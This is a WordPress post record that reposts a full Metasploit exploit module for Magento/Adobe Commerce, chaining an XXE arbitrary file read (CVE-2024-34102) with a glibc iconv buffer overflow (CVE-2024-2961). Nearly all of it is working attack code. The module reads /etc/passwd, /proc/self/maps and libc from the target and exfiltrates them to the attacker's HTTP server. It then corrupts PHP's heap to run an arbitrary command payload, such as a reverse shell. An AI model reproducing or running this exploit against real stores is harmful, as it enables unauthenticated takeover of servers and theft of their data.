{"id":59886,"date":"2024-10-18T18:00:29","date_gmt":"2024-10-18T15:00:29","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182289\/magento_xxe_to_glibc_buf_overflow.rb.txt"},"modified":"2024-10-18T18:00:29","modified_gmt":"2024-10-18T15:00:29","slug":"magento-adobe-commerce-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/magento-adobe-commerce-remote-code-execution\/","title":{"rendered":"Magento \/ Adobe Commerce Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HttpServer<br \/>include Msf::Exploit::Retry<br \/>prepend Msf::Exploit::Remote::AutoCheck<br \/>require &#8216;elftools&#8217;<\/p>\n<p>class ProcSelfMapsError &lt; StandardError; end<\/p>\n<p>PAD = 20<br \/>HEAP_SIZE = 2 * 1024 * 1024<br \/>BUG = &#8216;\u5284&#8217;<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)<br \/>allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and<br \/>earlier if the PHP and glibc versions are also vulnerable:<br \/>&#8211; 2.4.7 and earlier<br \/>&#8211; 2.4.6-p5 and earlier<br \/>&#8211; 2.4.5-p7 and earlier<br \/>&#8211; 2.4.4-p8 and earlier<\/p>\n<p>Vulnerable PHP versions:<br \/>&#8211; From PHP 7.0.0 (2015) to 8.3.7 (2024)<\/p>\n<p>Vulnerable iconv() function in the GNU C Library:<br \/>&#8211; 2.39 and earlier<\/p>\n<p>The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:<br \/>CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target<br \/>system. The exploit chain uses this to read \/proc\/self\/maps, providing the address of PHP&#8217;s heap and the libc&#8217;s filename.<br \/>The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use<br \/>of later in the chain.<\/p>\n<p>With this information and expert knowledge of PHP&#8217;s heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961<br \/>can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a<br \/>payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Sergey Temnikov&#8217;, # CVE-2024-34102 Discovery<br \/>&#8216;Charles Fol&#8217;, # CVE-2024-2961 Discovery + RCE PoC<br \/>&#8216;Heyder&#8217;, # module for CVE-2024-34102<br \/>&#8216;jheysel-r7&#8217; # module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/spacewasp\/public_docs\/blob\/main\/CVE-2024-34102.md&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/sansec.io\/research\/cosmicsting&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.ambionics.io\/blog\/iconv-cve-2024-2961-p1&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/ambionics\/cnext-exploits\/blob\/main\/cosmicsting-cnext-exploit.py&#8217;], # PoC this module is based on<br \/>[ &#8216;CVE&#8217;, &#8216;2024-2961&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-34102&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Platform&#8217; =&gt; %w[linux unix],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Unix Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :unix_cmd<br \/># Tested with cmd\/linux\/http\/x64\/meterpreter_reverse_tcp<br \/>}<br \/>],<br \/>],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-07-26&#8217;, # The date the PoC for this exploit was made public<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The base path to the web application&#8217;, &#8216;\/&#8217;]),<br \/>OptInt.new(&#8216;DOWNLOAD_FILE_TIMEOUT&#8217;, [ true, &#8216;The amount of time to wait for the XXE to return the file requested&#8217;, 10]),<br \/>])<br \/>end<\/p>\n<p>def check_magento<br \/>etc_password = download_file(&#8216;\/etc\/passwd&#8217;)<br \/>vprint_status(&#8216;Attempting to download \/etc\/passwd&#8217;)<br \/>if etc_password.nil?<br \/>CheckCode::Safe(&#8216;Unable to download \/etc\/passwd via the Arbitrary File Read (CVE-2024-34102).&#8217;)<br \/>else<br \/>CheckCode::Vulnerable(&#8216;Exploit precondition 1\/3 met: Downloading \/etc\/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.&#8217;)<br \/>end<br \/>end<\/p>\n<p>def check_php_rce_requirements<br \/>text = Rex::Text.rand_text_alpha(50)<br \/>base64 = Rex::Text.encode_base64(text)<br \/>path1 = &#8220;data:text\/plain;base64,#{base64}&#8221;<\/p>\n<p>result1 = download_file(path1)<br \/>if result1 == text<br \/>vprint_good(&#8216;The data wrapper is working&#8217;)<br \/>else<br \/>return CheckCode::Safe(&#8216;The data:\/\/ wrapper does not work&#8217;)<br \/>end<\/p>\n<p>text = Rex::Text.rand_text_alpha(50)<br \/>base64 = Rex::Text.encode_base64(text)<br \/>path2 = &#8220;php:\/\/filter\/\/resource=data:text\/plain;base64,#{base64}&#8221;<br \/>result2 = download_file(path2)<\/p>\n<p>if result2 == text<br \/>vprint_good(&#8216;The filter wrapper is working&#8217;)<br \/>else<br \/>return CheckCode::Safe(&#8216;The php:\/\/filter\/ wrapper does not work&#8217;)<br \/>end<\/p>\n<p>text = Rex::Text.rand_text_alpha(50)<br \/>compressed_text = compress(text)<br \/>base64 = Base64.encode64(compressed_text).gsub(&#8220;\\n&#8221;, &#8221;)<\/p>\n<p>path = &#8220;php:\/\/filter\/zlib.inflate\/resource=data:text\/plain;base64,#{base64}&#8221;<br \/>result3 = download_file(path)<br \/>if result3 == text<br \/>vprint_good(&#8216;The zlib extension is enabled&#8217;)<br \/>else<br \/>CheckCode::Safe(&#8216;The zlib extension is not enabled&#8217;)<br \/>end<br \/>CheckCode::Appears(&#8216;Exploit precondition 2\/3 met: PHP appears to be exploitable.&#8217;)<br \/>end<\/p>\n<p>def check_libc_version<br \/>begin<br \/>@libc_binary = get_libc<br \/>rescue ProcSelfMapsError =&gt; e<br \/>return CheckCode::Unknown(&#8220;There was an issue processing \/proc\/self\/maps which is required to extract the libc version: #{e.class}: #{e}&#8221;)<br \/>end<\/p>\n<p>return CheckCode::Unknown(&#8216;Unable to download the glibc binary from the target which is required to exploit. Rerunning the module could fix this issue.&#8217;) unless @libc_binary<\/p>\n<p># A string similar to the following should appear in the binary: &#8220;GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36.&#8221;<br \/>printable_strings = @libc_binary.scan(\/[[:print:]]{20,}\/).map(&amp;:strip)<\/p>\n<p>libc_version = nil<\/p>\n<p>printable_strings.each do |string|<br \/>if string =~ \/GNU\\s+C\\s+Library.*version\\s+(\\d\\.\\d+)\/<br \/>libc_version = Rex::Version.new(Regexp.last_match(1))<br \/>break<br \/>end<br \/>end<\/p>\n<p>CheckCode::Unknown(&#8216;Unable to determine the version of libc&#8217;) unless libc_version<\/p>\n<p>if libc_version &gt; Rex::Version.new(&#8216;2.39&#8217;)<br \/>CheckCode::Safe(&#8220;glibc version is not vulnerable: #{libc_version}&#8221;)<br \/>end<\/p>\n<p>CheckCode::Appears(&#8220;Exploit precondition 3\/3 met: glibc is version: #{libc_version}&#8221;)<br \/>end<\/p>\n<p>def check<br \/>setup_module<br \/>print_status(&#8216;module setup&#8217;)<br \/>magento_checkcode = check_magento<br \/>return magento_checkcode unless magento_checkcode.code == &#8216;vulnerable&#8217;<\/p>\n<p>print_good(magento_checkcode.reason)<\/p>\n<p>php_checkcode = check_php_rce_requirements<br \/>return php_checkcode unless php_checkcode.code == &#8216;appears&#8217;<\/p>\n<p>print_good(php_checkcode.reason)<\/p>\n<p>libc_version_checkcode = check_libc_version<br \/>return libc_version_checkcode unless libc_version_checkcode.code == &#8216;appears&#8217;<\/p>\n<p>print_good(libc_version_checkcode.reason)<br \/>CheckCode::Appears<br \/>end<\/p>\n<p>def download_file(file)<br \/>@filter_path = &#8220;php:\/\/filter\/convert.base64-encode\/convert.base64-encode\/resource=#{file}&#8221;<br \/>@target_file = file<br \/>@file_data = nil<\/p>\n<p>send_path(@filter_path)<br \/>retry_until_truthy(timeout: datastore[&#8216;DOWNLOAD_FILE_TIMEOUT&#8217;]) do<br \/>break if @file_data<br \/>end<br \/>@file_data<br \/>end<\/p>\n<p>def send_path(path)<br \/>@filter_path = Rex::Text.encode_base64(path)<\/p>\n<p>vprint_status(&#8216;Sending XXE request&#8217;)<br \/>vprint_status(&#8220;Filter path being sent: #{@filter_path}&#8221;)<\/p>\n<p>system_entity = Rex::Text.rand_text_alpha_lower(4..8)<\/p>\n<p>xml = &#8220;&lt;?xml version=&#8217;1.0&#8242; ?&gt;&#8221;<br \/>xml += &#8220;&lt;!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}&#8221;<br \/>xml += &#8216;[&#8216;<br \/>xml += &#8221; &lt;!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY &gt;&#8221;<br \/>xml += &#8221; &lt;!ENTITY % #{system_entity} SYSTEM \\&#8221;http:\/\/#{datastore[&#8216;SRVHOST&#8217;]}:#{datastore[&#8216;SRVPORT&#8217;]}\/#{@url_file}\/#{@filter_path}\\&#8221;&gt; %#{system_entity}; %#{@xxe_param}; &#8220;<br \/>xml += &#8216;]&#8217;<br \/>xml += &#8220;&gt; &lt;r&gt;&amp;#{@xxe_exfil};&lt;\/r&gt;&#8221;<\/p>\n<p>json = {<br \/>address: {<br \/>totalsReader: {<br \/>collectorList: {<br \/>totalCollector: {<br \/>sourceData: {<br \/>data: xml,<br \/>options: 524290<br \/>}<br \/>}<br \/>}<br \/>}<br \/>}<br \/>}<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8220;\/rest\/V1\/guest-carts\/#{Rex::Text.rand_text_alpha(32)}\/estimate-shipping-methods&#8221;),<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;data&#8217; =&gt; JSON.generate(json)<br \/>})<\/p>\n<p>res<br \/>end<\/p>\n<p>def find_main_heap(regions)<br \/># Any anonymous RW region with a size greater than the base heap size is a candidate.<br \/># The heap is at the bottom of the region.<br \/>heaps = regions.reverse.each_with_object([]) do |region, arr|<br \/>next unless region[:permissions] == &#8216;rw-p&#8217; &amp;&amp;<br \/>region[:stop] &#8211; region[:start] &gt;= HEAP_SIZE &amp;&amp;<br \/>(region[:stop] &amp; (HEAP_SIZE &#8211; 1)).zero? &amp;&amp;<br \/>[&#8221;, &#8216;[anon:zend_alloc]&#8217;].include?(region[:path])<\/p>\n<p>arr &lt;&lt; (region[:stop] &#8211; HEAP_SIZE + 0x40)<br \/>end<\/p>\n<p>if heaps.empty?<br \/>raise ProcSelfMapsError, &#8220;Unable to find PHP&#8217;s main heap in memory by parsing \/proc\/self\/maps&#8221;<br \/>end<\/p>\n<p>first = heaps[0]\n<p>if heaps.size &gt; 1<br \/>heap_addresses = heaps.map { |heap| &#8220;0x#{heap.to_s(16)}&#8221; }.join(&#8216;, &#8216;)<br \/>vprint_status(&#8220;Potential heaps: [i]#{heap_addresses}[\/] (using first)&#8221;)<br \/>else<br \/>vprint_status(&#8220;Using [i]0x#{first.to_s(16)}[\/] as heap&#8221;)<br \/>end<\/p>\n<p>vprint_good(&#8216;Successfully extracted the location in memory of the PHP heap&#8217;)<br \/>first<br \/>end<\/p>\n<p>def get_libc_region(regions, *names)<br \/>libc_region = regions.find do |region|<br \/>names.any? { |name| region[:path].include?(name) }<br \/>end<\/p>\n<p>unless libc_region<br \/>raise ProcSelfMapsError, &#8216;Unable to locate libc region in \/proc\/self\/maps&#8217;<br \/>end<\/p>\n<p>vprint_good(&#8220;Successfully located the libc region in memory: #{libc_region}&#8221;)<br \/>libc_region<br \/>end<\/p>\n<p>def get_libc<br \/>@regions ||= get_regions<br \/>@info[&#8216;heaps&#8217;] = find_main_heap(@regions)<br \/>@libc_region ||= get_libc_region(@regions, &#8216;libc-&#8216;, &#8216;libc.so&#8217;)<br \/>download_file(@libc_region[:path])<br \/>end<\/p>\n<p>def get_symbols_and_addresses<br \/>begin<br \/>@libc_binary ||= get_libc<br \/>rescue ProcSelfMapsError =&gt; e<br \/>fail_with(Failure::UnexpectedReply, &#8220;There was an issue processing \/proc\/self\/maps which is required to extract the libc version: #{e.class}: #{e}&#8221;)<br \/>end<br \/>fail_with(Failure::UnexpectedReply, &#8216;Unable to download the glibc binary, which is required to exploit. Rerunning the module could fix this issue.&#8217;) unless @libc_binary<\/p>\n<p># ELFFile expects a file, instead of writing it to disk use StringIO<br \/>libc_binary_file = StringIO.new(@libc_binary)<br \/>elf = ELFTools::ELFFile.new(libc_binary_file)<br \/>symtab_section = elf.section_by_name(&#8216;.dynsym&#8217;)<br \/>symbols = symtab_section.symbols<\/p>\n<p>@info[&#8216;__libc_malloc&#8217;] = nil<br \/>@info[&#8216;__libc_system&#8217;] = nil<br \/>@info[&#8216;__libc_realloc&#8217;] = nil<\/p>\n<p>symbols.each do |symbol|<br \/>if [&#8216;__libc_malloc&#8217;, &#8216;__libc_system&#8217;, &#8216;__libc_realloc&#8217;].include? symbol.name<br \/>@info[symbol.name] = symbol.header.st_value.to_i + @libc_region[:start]end<br \/>end<\/p>\n<p>fail_with(Failure::BadConfig, &#8216;Unable to get necessary symbols from libc.so&#8217;) unless @info[&#8216;__libc_malloc&#8217;] &amp;&amp; @info[&#8216;__libc_system&#8217;] &amp;&amp; @info[&#8216;__libc_realloc&#8217;]vprint_status(&#8220;__libc_malloc: #{@info[&#8216;__libc_malloc&#8217;]}&#8221;)<br \/>vprint_status(&#8220;__libc_system: #{@info[&#8216;__libc_system&#8217;]}&#8221;)<br \/>vprint_status(&#8220;__libc_realloc: #{@info[&#8216;__libc_realloc&#8217;]}&#8221;)<br \/>end<\/p>\n<p>def get_regions<br \/># Obtains the memory regions of the PHP process by querying \/proc\/self\/maps.<br \/>maps = download_file(&#8216;\/proc\/self\/maps&#8217;)<br \/>raise ProcSelfMapsError, &#8216;\/proc\/self\/maps was unable able to be downloaded&#8217; if maps.blank?<\/p>\n<p>maps = maps.force_encoding(&#8216;UTF-8&#8217;)<br \/>pattern = \/^([a-f0-9]+)-([a-f0-9]+)\\b.*\\s([-rwx]{3}[ps])\\s(.+)$\/<br \/>regions = []\n<p># Example lines from: \/proc\/self\/maps<br \/># 712eebe00000-712eec000000 rw-p 00000000 00:00 0 [anon:zend_alloc]# 712ef14aa000-712ef14ab000 rw-p 00007000 00:59 2144348 \/opt\/bitnami\/apache\/modules\/mod_mime.so<br \/>maps.each_line do |region|<br \/>if (match = pattern.match(region))<br \/>start_addr = match[1].to_i(16)<br \/>stop_addr = match[2].to_i(16)<br \/>permissions = match[3]path = match[4]\n<p>if path.include?(&#8216;\/&#8217;) || path.include?(&#8216;[&#8216;)<br \/>path = path.split(&#8216; &#8216;, 4).last<br \/>else<br \/>path = &#8221;<br \/>end<\/p>\n<p>current = {<br \/>start: start_addr,<br \/>stop: stop_addr,<br \/>permissions: permissions,<br \/>path: path<br \/>}<\/p>\n<p>regions &lt;&lt; current<br \/>else<br \/>raise ProcSelfMapsError, &#8216;\/proc\/self\/maps is unparsable&#8217;<br \/>end<br \/>end<br \/>vprint_good(&#8216;Successfully downloaded \/proc\/self\/maps and parsed regions&#8217;)<br \/>regions<br \/>end<\/p>\n<p>def compress(data)<br \/># Compress the data and remove the 2-byte header and 4-byte checksum<br \/>compressed_data = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION)<br \/>compressed_data[2..-5]end<\/p>\n<p>def compressed_bucket(data)<br \/># Returns a chunk of size 0x8000 that, when dechunked, returns the data.<br \/>chunked_chunk(data, 0x8000)<br \/>end<\/p>\n<p>def qpe(data)<br \/># Emulates quoted-printable-encode.<br \/>data.bytes.map { |x| sprintf(&#8216;=%02X&#8217;, x) }.join<br \/>end<\/p>\n<p>def ptr_bucket(*ptrs, size: nil)<br \/># Raise an error if size is specified and doesn&#8217;t match the expected length<br \/>if size &amp;&amp; ptrs.length * 8 != size<br \/>fail_with(Failure::BadConfig, &#8216;Size must match the length of pointers in ptr_bucket method&#8217;)<br \/>end<\/p>\n<p>bucket = ptrs.map { |ptr| p64(ptr) }.join<br \/>bucket = qpe(bucket)<br \/>bucket = chunked_chunk(bucket)<br \/>bucket = chunked_chunk(bucket)<br \/>bucket = chunked_chunk(bucket)<br \/>bucket = compressed_bucket(bucket)<\/p>\n<p>bucket<br \/>end<\/p>\n<p>def p64(value)<br \/>[value].pack(&#8216;Q&#8217;) # Pack as 64-bit little-endian<br \/>end<\/p>\n<p>def chunked_chunk(data, size = nil)<br \/>if size.nil?<br \/>size = data.bytesize + 8<br \/>end<br \/>keep = data.bytesize + 2 # for &#8220;\\n\\n&#8221;<br \/>hex_size = data.bytesize.to_s(16)<br \/>padded_hex_size = hex_size.rjust(size &#8211; keep, &#8216;0&#8217;)<br \/>&#8220;#{padded_hex_size}\\n#{data}\\n&#8221;.b<br \/>end<\/p>\n<p>def build_exploit_path<br \/>addr_free_slot = @info[&#8216;heaps&#8217;] + 0x20<br \/>addr_custom_heap = @info[&#8216;heaps&#8217;] + 0x0168<br \/>addr_fake_bin = addr_free_slot &#8211; 0x10<\/p>\n<p>cs = 0x100<\/p>\n<p># Pad needs to stay at size 0x100 at every step<br \/>pad_size = cs &#8211; 0x18<br \/>pad = &#8220;\\x00&#8221; * pad_size<br \/>3.times { pad = chunked_chunk(pad, pad.length + 6) }<br \/>pad = compressed_bucket(pad)<\/p>\n<p>step1_size = 1<br \/>step1 = &#8220;\\x00&#8221; * step1_size<br \/>step1 = chunked_chunk(step1)<br \/>step1 = chunked_chunk(step1)<br \/>step1 = chunked_chunk(step1, cs)<br \/>step1 = compressed_bucket(step1)<\/p>\n<p># Since these chunks contain non-UTF-8 chars, we cannot let it get converted to<br \/># ISO-2022-CN-EXT. We add a `0\\n` that makes the 4th and last dechunk &#8220;crash&#8221;<\/p>\n<p>step2_size = 0x48<br \/>step2 = &#8220;\\x00&#8221; * (step2_size + 8)<br \/>step2 = chunked_chunk(step2, cs)<br \/>step2 = chunked_chunk(step2)<br \/>step2 = compressed_bucket(step2)<\/p>\n<p>step2_write_ptr = &#8220;0\\n&#8221;.ljust(step2_size, &#8220;\\x00&#8221;) + p64(addr_fake_bin)<br \/>step2_write_ptr = chunked_chunk(step2_write_ptr, cs)<br \/>step2_write_ptr = chunked_chunk(step2_write_ptr)<br \/>step2_write_ptr = compressed_bucket(step2_write_ptr)<\/p>\n<p>step3_size = cs<\/p>\n<p>step3_overflow = (&#8220;\\x00&#8221; * (step3_size &#8211; BUG.bytes.length) + &#8220;\\xe5\\x8a\\x84&#8221;) # BUG bytes<br \/>step3_overflow = chunked_chunk(step3_overflow)<br \/>step3_overflow = chunked_chunk(step3_overflow)<br \/>step3_overflow = chunked_chunk(step3_overflow)<br \/>step3_overflow = compressed_bucket(step3_overflow)<\/p>\n<p>step4_size = cs<br \/>step4 = &#8216;=00&#8217; + &#8220;\\x00&#8221; * (step4_size &#8211; 1)<br \/>3.times { step4 = chunked_chunk(step4) }<br \/>step4 = compressed_bucket(step4)<\/p>\n<p>step4_pwn = ptr_bucket(<br \/>0x200000,<br \/>0,<br \/># free_slot<br \/>0,<br \/>0,<br \/>addr_custom_heap, # 0x18<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>@info[&#8216;heaps&#8217;], # 0x140<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>0,<br \/>size: cs<br \/>)<\/p>\n<p>step4_custom_heap = ptr_bucket(@info[&#8216;__libc_malloc&#8217;], @info[&#8216;__libc_system&#8217;], @info[&#8216;__libc_realloc&#8217;], size: 0x18)<br \/>step4_use_custom_heap_size = 0x140<\/p>\n<p># Fetch payloads run the payload in the background and results in multiple sessions being returned.<br \/># If we prevent the payload from running in the background and kill the parent process after the payload completes<br \/># running successfully we ensure only one session gets returned and improves the stability allowing the exploit to<br \/># be run consecutively without issue.<br \/>if payload.encoded.ends_with?(&#8216; &amp;&#8217;)<br \/>command = &#8220;#{payload.encoded}&amp; kill -9 $PPID&#8221;<br \/>else<br \/>command = &#8220;#{payload.encoded} &amp;&amp; kill -9 $PPID&#8221;<br \/>end<\/p>\n<p>command = (command + &#8220;\\x00&#8221;).b<br \/>command = command.ljust(step4_use_custom_heap_size, &#8220;\\x00&#8221;.b)<\/p>\n<p>vprint_status(&#8220;COMMAND: #{command}&#8221;)<\/p>\n<p>step4_use_custom_heap = command<br \/>step4_use_custom_heap = qpe(step4_use_custom_heap)<br \/>step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)<br \/>step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)<br \/>step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)<br \/>step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)<\/p>\n<p>pages = ((step4 * 3) + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + (pad * PAD) + (step1 * 3) + step2_write_ptr + (step2 * 2))<\/p>\n<p>resource = compress(compress(pages))<br \/>resource = Base64.encode64(resource.b)<br \/>resource = &#8220;data:text\/plain;base64,#{resource.gsub(&#8220;\\n&#8221;, &#8221;)}&#8221;<\/p>\n<p>filters = [<br \/># Create buckets<br \/>&#8216;zlib.inflate&#8217;,<br \/>&#8216;zlib.inflate&#8217;,<br \/># Step 0: Setup heap<br \/>&#8216;dechunk&#8217;,<br \/>&#8216;convert.iconv.latin1.latin1&#8217;,<br \/># Step 1: Reverse FL order<br \/>&#8216;dechunk&#8217;,<br \/>&#8216;convert.iconv.latin1.latin1&#8217;,<br \/># Step 2: Put fake pointer and make FL order back to normal<br \/>&#8216;dechunk&#8217;,<br \/>&#8216;convert.iconv.latin1.latin1&#8217;,<br \/># Step 3: Trigger overflow<br \/>&#8216;dechunk&#8217;,<br \/>&#8216;convert.iconv.UTF-8.ISO-2022-CN-EXT&#8217;,<br \/># Step 4: Allocate at arbitrary address and change zend_mm_heap<br \/>&#8216;convert.quoted-printable-decode&#8217;,<br \/>&#8216;convert.iconv.latin1.latin1&#8217;,<br \/>]\n<p>filters_string = filters.join(&#8216;\/&#8217;)<\/p>\n<p>&#8220;php:\/\/filter\/#{filters_string}\/resource=#{resource}&#8221;<br \/>end<\/p>\n<p>def setup_module<br \/>@url_file = Rex::Text.rand_text_alpha_lower(4..8)<br \/>@url_data = Rex::Text.rand_text_alpha_lower(4..8)<br \/>@xxe_param = Rex::Text.rand_text_alpha_lower(4..8)<br \/>@xxe_exfil = Rex::Text.rand_text_alpha_lower(4..8)<br \/>@info = Hash.new<br \/>@module_setup_complete = true<\/p>\n<p>if datastore[&#8216;SRVHOST&#8217;] == &#8216;0.0.0.0&#8217; || datastore[&#8216;SRVHOST&#8217;] == &#8216;::&#8217;<br \/>fail_with(Failure::BadConfig, &#8216;SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful&#8217;)<br \/>end<\/p>\n<p>start_service({<br \/>&#8216;Uri&#8217; =&gt; {<br \/>&#8216;Proc&#8217; =&gt; proc do |cli, req|<br \/>on_request_uri(cli, req)<br \/>end,<br \/>&#8216;Path&#8217; =&gt; &#8216;\/&#8217;<br \/>},<br \/>&#8216;ssl&#8217; =&gt; false<br \/>})<br \/>print_status(&#8216;Server started&#8217;)<br \/>end<\/p>\n<p>def exploit<br \/>setup_module unless @module_setup_complete<br \/>fail_with(Failure::BadConfig, &#8216;Payload is too big&#8217;) if payload.encoded.length &gt;= 0x140 # step4_use_custom_heap_size<br \/>print_status(&#8216;Attempting to parse libc to extract necessary symbols and addresses&#8217;)<br \/>get_symbols_and_addresses<br \/>print_status(&#8216;Attempting to build an exploit PHP filter path with the information extracted from libc and \/proc\/self\/maps&#8217;)<br \/>path = build_exploit_path<br \/>print_status(&#8216;Sending payload&#8230;&#8217;)<br \/>send_path(path)<br \/>end<\/p>\n<p>def cleanup<br \/># Clean and stop HTTP server<br \/>if service<br \/>begin<br \/>service.remove_resource(datastore[&#8216;URIPATH&#8217;])<br \/>service.deref<br \/>service.stop<br \/>self.service = nil<br \/>rescue StandardError =&gt; e<br \/>print_error(&#8220;Failed to stop http server due to #{e}&#8221;)<br \/>end<br \/>end<br \/>super<br \/>end<\/p>\n<p>def on_request_uri(cli, req)<br \/>super<br \/>url_parts = req.uri.split(&#8216;\/&#8217;)<br \/>case url_parts[1]when @url_file<br \/>path = Rex::Text.decode_base64(url_parts[2])<br \/>data = Rex::Text.rand_text_alpha_lower(4..8)<br \/>response = &#8220;<br \/>&lt;!ENTITY % #{data} SYSTEM \\&#8221;#{path}\\&#8221;&gt;<br \/>&lt;!ENTITY % #{@xxe_param} \\&#8221;&lt;!ENTITY #{@xxe_exfil} SYSTEM &#8216;http:\/\/#{datastore[&#8216;SRVHOST&#8217;]}:#{datastore[&#8216;SRVPORT&#8217;]}\/#{@url_data}\/%#{data};&#8217;&gt;\\&#8221;&gt;&#8221;<br \/>send_response(cli, response)<br \/>when @url_data<br \/>@file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^\/#{@url_data}\/}, &#8221;)))<br \/>send_response(cli, &#8221;)<br \/>else<br \/>print_bad(&#8216;Server received an unexpected request.&#8217;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HttpServerinclude Msf::Exploit::Retryprepend Msf::Exploit::Remote::AutoCheckrequire &#8216;elftools&#8217; class ProcSelfMapsError &lt; StandardError; end PAD = 20HEAP_SIZE = 2 * 1024 * 1024BUG = &#8216;\u5284&#8217; def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59886","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59886","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59886"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59886\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59886"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59886"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59886"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}